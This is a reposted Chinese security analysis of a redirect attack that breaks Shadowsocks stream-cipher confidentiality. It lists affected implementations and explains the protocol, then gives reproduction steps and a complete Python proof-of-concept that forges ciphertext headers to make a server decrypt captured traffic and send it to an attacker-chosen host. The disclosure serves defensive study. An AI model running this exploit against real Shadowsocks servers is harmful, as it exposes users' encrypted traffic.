|
Shadowsocks 重定向攻击分析
来源于公众号:程序员阿甘
本文原创分析作者
360核心团队 Zhizhiang Peng
原创链接:https://mp.weixin.qq.com/s?__biz=MzI4MTkzNDIyMg==&mid=2247489308&idx=1&sn=05986e195935144fcd8ab07c407a2910&chksm=eba0f7fddcd77eebc9fa8eeffeed3cb0e211268f206013a39f85aceaad9fb8efe197b16ee53d&mpshare=1&scene=23&srcid=0820noVqNtS3Z2985IRABQ1Y&sharer_sharetime=1597882729785&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
0x00 简介
Shadowsocks是一款科学上网工具,基于Socks5代理方式的加密传输协议.在中国广泛使用.前几个月 360核心团队 Zhizhiang Peng发现了shadowsocks协议中的一个漏洞,该漏洞打破了shadowsocks流密码的机密性.被动攻击者可以使用我们的重定向攻击轻松解密所有加密的shadowsocks数据包.更重要的是,中间人攻击者可以实时修改流量,就像根本没有加密一样.
0x01:受影响版本
- shadowsocks-py
- shadowsocoks-go
- shadowsocoks-nodejs
0x02:建议使用版本
- shadowsocks-libev
- go-shadowsocks2
- 并且仅使用AEAD密码
0x03:shadowsocks工作思路
Shadowsocks本地组件(ss-local)的作用类似于传统的SOCKS5服务器为客户端提供代理服务.它加密和转发数据流和数据包客户端到Shadowsocks远程组件(ss-remote),后者解密并转发到目标.从目标也同样加密和转播 Replies ss-remote回到sslocal, 解密和最终返回到原来的客户端.
- 客户< - - - > ss-local <——(加密)——> ss-remote < - - - >目标
复制代码
0x04:整体逻辑
浏览器使用 socks5代理,将数据发给 sslocal服务,sslocal 将数据加密后传递给 ssserver,ssserver 解密数据,访问指定资源,返回加密的数据,sslocal 再解密返回给浏览器.
整个过程比较容易理解,接下来通过阅读代码的方式讲一下整个流程,着重看数据拼接和加密部分.
sslocal发包流程:
tcpRelay.py 中,类TCPRelayHandler 构造方法里,主动创建 Encryptor结构体.
Encryptor 结构体初始化时,使用 config 里的“PASS”密钥,作为种子生成真正的 key,将来长期使用,随机产生 rand_iv,在当前数据包中使用.
使用命令
- curl --socks5 127.0.0.1:1080 http://a.baidu.com
复制代码
使用socks5 代理,尝试访问 a.baidu.com.
tcpRelay.py中,_handle_stage_addr收到socks5 的协议头,稍加解析和验证,将该数据使用 AES.update(socks5Header)
tcpRelay.py 中,_handle_stage_connecting 收到 HTTP 请求的数据,并将改数据使用 AES.update(httpRequest)
- 最终组合好的明文数据是:
- data = sock5Header + httpRequest
- 最终发给服务器最后的数据是:
- rand_iv + AES-cfb(key, rand_iv, data)
- ssserver收包过程省略、ssserver 发包过程省略
- sslocal收包
复制代码
tcpRelay.py 中,_on_remote_read 收到了 ssserver 返回的数据,前 16 字节是server 生成的 rand_iv2,后面的数据是密文,解密后就是返回包的内容.
- 相当于:
- httpResponse = AES-cfb(key, rand_iv2, recv_data)
复制代码
攻击者只知道 rand_iv、rand_iv2,不知道key,因此无法直接解密整个request 和 response.
0x05:场景的分析
针对IP直连的攻击
浏览器使用socks5代理,通过客户端去访问a.baidu.com的IP地址,攻击者拿到加密的返回包,可以破解httpResponse内容(大部分内容).
一、启动ssserver,python3 myserver.py;
二、启动sslocal,python3 myclient.py;
三、开启wireshark,
四、使用curl发包curl --socks5 127.0.0.1:1080 http://a.baidu.com,
五、收到返回“ OK”,
六、保存为ss_ip_direct.pcapng
七、攻击者监听 127.0.0.1:1083
八、攻击者解析ss_ip_direct.pcapng中的返回包,纠正改写,将目标地址从baidu的IP写为127.0.0.1:1083纠正改后发给1081
恶意攻击总计1081将数据解密,发送给127.0.0.1:1083(或任意指定的IP和端口)
默认ssserver不会发数据给127.0.0.1:1083,需要临时将_create_remote_socket下面该检查补丁掉!或者把目标改成一台公网IP和端口
- if self._forbidden_iplist:
- if common.to_str(sa[0]) in self._forbidden_iplist:
- raise Exception('IP %s is in forbidden list, reject' %
- common.to_str(sa[0]))
复制代码
为了方便复现,已经抓到一组包,只需要执行下面的三句代码即可:
- python3 myserver.py 启动ssserver
- nc -lk 1083 监听1083端口
- python3 ip_direct_attack.py 读取密文,伪改密文,发送给ssserver
复制代码
之后观察1083,会出现下图的样子
针对域名访问的攻击
浏览器使用socks5代理,通过客户端去访问a.baidu.com的域名地址,攻击者拿到加密的请求包,可以破解httpRequest内容(大部分内容).
一、启动ssserver,python3 myserver.py;
二、启动sslocal,python3 myclient.py;
三、开启wireshark,
四、使用Safari浏览器挂个代理,收到返回“ OK”,保存为 ss_domain.pcapng
五、攻击者监听127.0.0.1:1083,并且申请a.baidu.abc域名,指向自己的服务器;(此处为了演示,在本地主机里干了这件事)
攻击者解析ss_domain.pcapng中的请求包,篡改头部,将a.baidu.com对划线a.baidu.abc,篡改后发给1081
恶意攻击总计1081将数据解密,发送给a.baidu.abc:1083(或任意指定的域名和端口)
默认ssserver不会发数据给127.0.0.1:1083,需要临时将_create_remote_socket下面该检查补丁掉!或者把目标改成一台公网IP和端口
为了方便复现,已经抓到一组包,只需要执行下面的四句代码即可:
- 127.0.0.1 a.baidu.abc 加入房东
- python3 myserver.py 启动ssserver
- nc -lk 1083 监听1083端口
- python3 domain_attack.py 读取密文,伪改密文,发送给ssserver
复制代码
之后观察1083,会出现下图的样子
演示过程:
- #ip_direct_attack.py
- from scapy.packet import Raw
- from scapy.all import rdpcap
- import socket
- import struct
- import time
- packets = rdpcap("ss_ip_direct.pcapng")
- pkg_send, pkg_recv = None, None
- for p in packets:
- if p['TCP'] and p['TCP'].dport == 1081 and isinstance(p['TCP'].payload, Raw):
- pkg_send = p
- if p['TCP'] and p['TCP'].sport == 1081 and isinstance(p['TCP'].payload, Raw):
- pkg_recv = p
- send_iv, send_data = pkg_send['TCP'].payload.load[:16], pkg_send['TCP'].payload.load[16:]
- recv_iv, recv_data = pkg_recv['TCP'].payload.load[:16], pkg_recv['TCP'].payload.load[16:]
- predict_data = b"HTTP/1.1"
- predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])
- target_ip = "127.0.0.1"
- target_port = 1083
- fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, target_ip) + bytes(struct.pack('>H', target_port))
- fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
- fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
- print(fake_data.hex())
- s = socket.socket()
- s.connect(("127.0.0.1", 1081))
- s.send(fake_data)
- print('Tcp sending... ')
- time.sleep(3)
- s.close()
复制代码
0x06:Referer:
以上逻辑分析源自
|
|